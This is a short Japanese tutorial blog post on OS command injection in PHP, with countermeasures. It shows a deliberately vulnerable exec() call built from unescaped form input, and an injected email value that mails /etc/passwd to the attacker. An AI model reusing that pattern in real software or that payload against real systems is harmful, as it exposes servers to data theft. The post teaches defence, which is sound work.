[PHPセキュリティ]OSコマンドインジェクションとは?危険性と対策方法

未分類

OSコマンドインジェクションとは

OSコマンドインジェクションとは、ユーザーの入力フォームに悪意のある文字列を入力し送信することで、OSに不正な命令を行うことです。

OSコマンドインジェクションの危険性

例えば、フォームで受け取ったメールアドレスを以下のように処理するとします。

$address  = $_POST['address']; 

$message_file = "/var/data/message.txt"; 

$rtn = exec('mail -s "タイトル" ' . $address . ' < ' . $message_file);

exec()メソッドに渡された引数がそのままコマンドとして実行されます。

入力フォームに普通にメールアドレス「xxx@example.com」を入力すると、
以下のようなコマンドが実行され、メールが送信される仕組みです。

$ mail -s "タイトル" xxx@example.com < /var/data/message.txt

「/var/data」配下のテキストファイル「message.txt」に書かれている内容が、
メールアドレス「xxx@example.com」に送信されます。

ここで、セキュリティ対策を行なっていないフォームに、
悪意のある文字列を入力し実行したらどうなるでしょう。

例えば、以下のような文字列。

xxx@example.com < /etc/passwd #

これをフォームに入力すると、exec()メソッドによって以下のようなコマンドが実行されます。

$ mail -s “タイトル” xxx@example.com < /etc/passwd # < /var/data/message.txt

「#」以降の部分はコメントアウトされるので、実際に実行されるコマンドは以下の通りです。

$ mail -s "タイトル" xxx@example.com < /etc/passwd

この結果、「/etc/passwd」の情報が「xxx@example.com」宛に送信されてしまいます。

対策

コマンドを実行させる処理を実装する際は、
以下のようなバリデーション対策をしっかり行いましょう。

特殊文字はエスケープするか、または処理を中止する

例えば、以下のような特殊文字は、エスケープするか処理を中止しましょう。

; | & ` ( ) $ < > * ? { } [ ] !

メールアドレスの形式か判定する

例えば以下のようにすることで、
入力された文字列がメールアドレスの形式か、判定することができます。

$email = $_POST['email'];

$reg_str = "/^([a-zA-Z0-9])+([a-zA-Z0-9\._-])*@([a-zA-Z0-9_-])+([a-zA-Z0-9\._-]+)+$/";
if (!preg_match($reg_str, $email)) {
  // メールアドレスの形式でなかった場合、処理を中止
  return false;
}
// メールアドレスの形式であった場合、処理を続行

WAFを導入する

WAF(Web Application Firewall)とは、WEBアプリケーションに特化したファイアウォールのことです。

料金はかかりますが、大規模な開発なら導入するのもアリかもしれません。

参考:

コメント

タイトルとURLをコピーしました